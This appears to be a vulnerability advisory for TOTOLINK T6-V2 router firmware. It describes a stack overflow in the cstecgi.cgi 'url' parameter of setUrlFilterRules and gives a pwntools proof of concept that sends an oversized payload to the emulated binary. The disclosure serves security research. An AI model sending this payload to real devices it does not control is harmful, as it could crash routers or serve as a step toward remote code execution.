Overview
- The device's official website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=products&id=16&ids=33
- Firmware download website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=16&ids=36
Affected version
T6-V2 V4.1.9cu.5179_B20201015
Vulnerability details
The vulnerability exists in the router's WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_00418540 (at address 0x418540) gets the JSON parameter url, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:
PoC
from pwn import *
import json
data = {
"topicurl": "setting/setUrlFilterRules",
"addEffect": "1",
"enable": "1",
"url": 'A'*0x400
}
data = json.dumps(data)
print(data)
argv = [
"qemu-mipsel-static",
"-g", "1234",
"-L", "./root/",
"-E", "CONTENT_LENGTH={}".format(len(data)),
"-E", "REMOTE_ADDR=192.168.2.1",
"./cstecgi.cgi"
]
a = process(argv=argv)
a.sendline(data.encode())
a.interactive()